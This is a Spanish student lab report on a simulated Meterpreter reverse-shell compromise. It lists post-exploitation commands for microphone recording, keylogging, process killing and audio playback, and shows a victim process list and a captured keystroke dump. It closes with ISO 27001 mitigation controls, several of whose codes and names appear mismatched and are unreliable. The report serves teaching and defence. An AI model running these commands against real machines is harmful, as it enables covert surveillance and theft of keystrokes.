

Laboratorio No. 1

Análisis de Comandos

Comando	Herramienta	Función
<code>record_mic</code>	Audio	Graba audio desde el micrófono de la víctima durante un tiempo determinado.
<code>kill <PID></code>	Meterpreter	Finaliza un proceso activo en la máquina remota (como <code>chrome.exe</code>).
<code>keyscan_start``keyscan_dump``keyscan_stop</code>	Keylogger interno	Inicia, muestra y detiene la captura de pulsaciones del teclado.
<code>ps</code>	Meterpreter	Listar los procesos en ejecución
<code>play</code> <code>play</code> <code>/home/kali/Downloads/archivo_de_audio.wav</code>	Meterpreter	Reproducir un archivo de audio de forma de onda (.wav) en el sistema destino

Algunas capturas de lo logrado

Comando: `ps`

Process List							
PID	PPID	Name	Arch	Session	User	Path	
0	0	[System Process]					
4	0	System					
188	4	Secure System					
232	4	Registry					
712	4	smss.exe					
720	19220	amdow.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files\WindowsApps\AdvancedMicroDevicesInc-2_AMD RadeonSoftware_10.24.10035.0_x64_0a9344xs7nr4m\radeonssoftware\amdow.exe	
1168	840	csrss.exe					
1268	1496	svchost.exe					
1372	840	wininit.exe					
1392	1364	csrss.exe					
1472	1364	winlogon.exe					
1480	9208	SecurityHealthSystray.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Windows\System32\SecurityHealthSystray.exe	
1496	1372	services.exe					
1536	1372	lsass.exe					
1544	1372	lsass.exe					
1560	1496	svchost.exe					
1572	1496	svchost.exe					
1680	1496	svchost.exe					
1708	1372	fontdrvhost.exe					
1716	1472	fontdrvhost.exe					
1728	1496	SecurityHealthService.exe					
1768	1496	svchost.exe					
1816	1496	svchost.exe					
1828	1496	svchost.exe					
1872	1496	svchost.exe					
1940	1472	dm.exe					
2168	1496	svchost.exe					
2176	1496	svchost.exe					
2252	1496	svchost.exe					
2264	1496	svchost.exe					
2272	1496	svchost.exe					
2280	1496	svchost.exe					
2456	1496	svchost.exe					
2464	1496	svchost.exe					
2492	22276	chrome.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files\Google\Chrome\Application\chrome.exe	
2496	9208	GoogleDriveFS.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files\Google\Drive File Stream\111.0.2.0\GoogleDriveFS.exe	
2500	1496	svchost.exe					
2516	1496	svchost.exe					
2552	1496	svchost.exe					
2772	1496	svchost.exe					
2792	1680	smartscreen.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Windows\System32\smartscreen.exe	
2820	5764	wlanext.exe					
2836	1496	svchost.exe					
2840	3492	Discord.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Users\Sjvn\AppData\Local\Discord\app-1.0.9200\Discord.exe	
2856	3680	attic.exe					
2956	1680	RuntimeBroker.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Windows\System32\RuntimeBroker.exe	
3064	22276	chrome.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files\Google\Chrome\Application\chrome.exe	
3096	9208	RtkAudioService64.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Windows\System32\DriverStore\FileRepository\realtek\realtekservice_inf_amd64_93b97298f383851\RtkAudioService64.exe	
3168	1496	svchost.exe					
3340	1496	svchost.exe					
8552	1496	SearchIndexer.exe					
8576	6176	AggregatorHost.exe					
8720	2176	SystemOptimizer.exe	x64	1			
8752	2176	OmnishellMonitor.exe	x64	1			
8816	8588	BraveCrashHandler.exe					
8872	22276	chrome.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files\Google\Chrome\Application\chrome.exe	
8880	1496	svchost.exe					
9048	1496	svchost.exe					
9180	1680	ApplicationFrameHost.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Windows\System32\ApplicationFrameHost.exe	
9156	1680	ShellExperienceHost.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyew\ShellExperienceHost.exe	
9180	1680	SystemSettings.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Windows\ImmersiveControlPanel\SystemSettings.exe	
9200	9096	explorer.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Windows\explorer.exe	
9208	5456	GoogleDriveFS.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files\Google\Drive File Stream\111.0.2.0\GoogleDriveFS.exe	
9284	1496	svchost.exe					
9340	6232	RtkAudioService64.exe					
9480	8588	BraveCrashHandler64.exe					
9488	22276	chrome.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files\Google\Chrome\Application\chrome.exe	
9612	8220	CrossDeviceResume.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyew\CrossDeviceResume.exe	
9796	22276	chrome.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files\Google\Chrome\Application\chrome.exe	
9832	19220	AMDRSSrcExt.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files\WindowsApps\AdvancedMicroDevicesInc-2_AMD RadeonSoftware_10.24.10035.0_x64_0a9344xs7nr4m\radeonssoftware\AMDRSSrcExt.exe	
10624	1680	SearchHost.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyew\SearchHost.exe	
10872	1496	svchost.exe					
10876	1496	svchost.exe					
10884	1496	svchost.exe					
11052	6224	nvcontainer.exe					
11132	1496	svchost.exe					
11136	20100	msedgewebview2.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\138.0.3351.95\msedgewebview2.exe	
11140	6224	nvcontainer.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe	
11148	1496	svchost.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Windows\System32\svchost.exe	
11196	6224	nvcontainer.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe	
11224	1496	svchost.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Windows\System32\svchost.exe	
11244	2176	PowerToys.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Users\Sjvn\AppData\Local\PowerToys\PowerToys.exe	
11268	22276	chrome.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files\Google\Chrome\Application\chrome.exe	
11340	1680	StartMenuExperienceHost.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyew\StartMenuExperienceHost.exe	
11356	11244	PowerToys\AlwaysOnTop.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Users\Sjvn\AppData\Local\PowerToys\PowerToys\AlwaysOnTop.exe	
11760	13496	msedgewebview2.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\138.0.3351.95\msedgewebview2.exe	
12072	1680	RuntimeBroker.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Windows\System32\RuntimeBroker.exe	
12168	1496	svchost.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Windows\System32\svchost.exe	
12172	1496	svchost.exe					
12220	1680	Widgets.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.15301.20.0_x64_cw5n1h2txyew\Dashboard\Widgets.exe	
12284	9208	vgtray.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files\Riot Vanguard\vgtray.exe	
12304	11244	PowerToys\Awake.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Users\Sjvn\AppData\Local\PowerToys\PowerToys\Awake.exe	
12316	1680	AppActions.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyew\AppActions.exe	
12352	11244	PowerToys.ColorPickerUI.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Users\Sjvn\AppData\Local\PowerToys\PowerToys.ColorPickerUI.exe	
12552	13496	msedgewebview2.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\138.0.3351.95\msedgewebview2.exe	
12668	11244	PowerToys.PowerLauncher.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Users\Sjvn\AppData\Local\PowerToys\PowerToys.PowerLauncher.exe	
12592	9208	OneDrive.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files\Microsoft OneDrive\OneDrive.exe	
12660	11244	PowerToys.CropAndLock.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Users\Sjvn\AppData\Local\PowerToys\PowerToys.CropAndLock.exe	
12728	11244	PowerToys.FancyZones.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Users\Sjvn\AppData\Local\PowerToys\PowerToys.FancyZones.exe	
12808	1680	UserOOBEBroker.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Windows\System32\oobe\UserOOBEBroker.exe	
12996	11244	PowerToys.Peek.UI.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Users\Sjvn\AppData\Local\PowerToys\WinUI3Apps\PowerToys.Peek.UI.exe	
13180	6580	msedgewebview2.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\138.0.3351.95\msedgewebview2.exe	
13102	11140	WDDisplayOverlay.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Program Files\NVIDIA Corporation\NVIDIA_app\CEF\WDDisplayOverlay.exe	
13232	1496	svchost.exe	x64	1	DESKTOP-TRRJA20\Sjvn	C:\Windows\System32\svchost.exe	
13252	6224	nvshelper64.exe	x64	1			

Comando: `keyscan_start`keyscan_dump`keyscan_stop`

```

Webcam shot saved to: /home/kali/uoLswTGJ.jpeg
meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes ...
<WINDOWS IZQUIERDA>txt<CR>
<CR>
<CR>
<CR>
<CR>
<MAYUSCULAS DERECHA>Hola a <^H><^H>hace<^H>ker <CR>
<MAYUSCULAS>
meterpreter > keyscan_stop
Stopping the keystroke sniffer ...
meterpreter > help

```

Propuesta de mitigación con base en la norma ISO/IEC 27001

Durante el ataque simulado se logró evidenciar el control remoto total del equipo víctima mediante el uso de payloads de tipo **reverse shell**. Las acciones ejecutadas incluyeron grabación de audio desde el micrófono, registro de pulsaciones del teclado (keylogger), finalización de procesos y reproducción de archivos de audio. Este tipo de invasión o control del equipo claramente compromete la **confidencialidad, integridad y disponibilidad** de los activos de información, permitiendo la recopilación de datos sensibles y el control absoluto del sistema afectado.

El riesgo no solo es técnico, sino también humano, ya que comúnmente se basa en engañar al usuario para que ejecute el archivo malicioso. En entornos reales, esto puede llevar a la pérdida de datos sensibles, interrupciones operativas, daño reputacional y sanciones legales por incumplimiento de normativas de protección de datos.

Controles del Anexo A de la ISO/IEC 27001:2022

Código ISO 27001	Nombre del control	Aplicación en este caso
A.5.24	Gestión de vulnerabilidades técnicas	Realizar escaneos periódicos y pruebas de penetración para identificar y corregir vulnerabilidades explotables.
A.6.4	Controles de acceso	Aplicar el principio de mínimo privilegio y segmentación de redes para limitar el alcance de un ataque exitoso.
A.5.7	Capacitación en seguridad de la información	Capacitar al personal para reconocer archivos y comportamientos sospechosos, evitando la ejecución de malware.
A.8.16	Protección contra software malicioso	Implementar soluciones antivirus avanzadas con capacidad de análisis de comportamiento y sandboxing.
A.8.23	Monitoreo de seguridad de la red	Usar sistemas IDS/IPS y SIEM para detectar conexiones no autorizadas y comportamientos anómalos en tiempo real.
A.5.17	Seguridad de la configuración	Establecer configuraciones seguras en los sistemas operativos para evitar ejecuciones no autorizadas.

Código ISO 27001	Nombre del control	Aplicación en este caso
A.8.16	Restricciones de instalación de software	Impedir que usuarios no autorizados instalen o ejecuten programas fuera de los aprobados.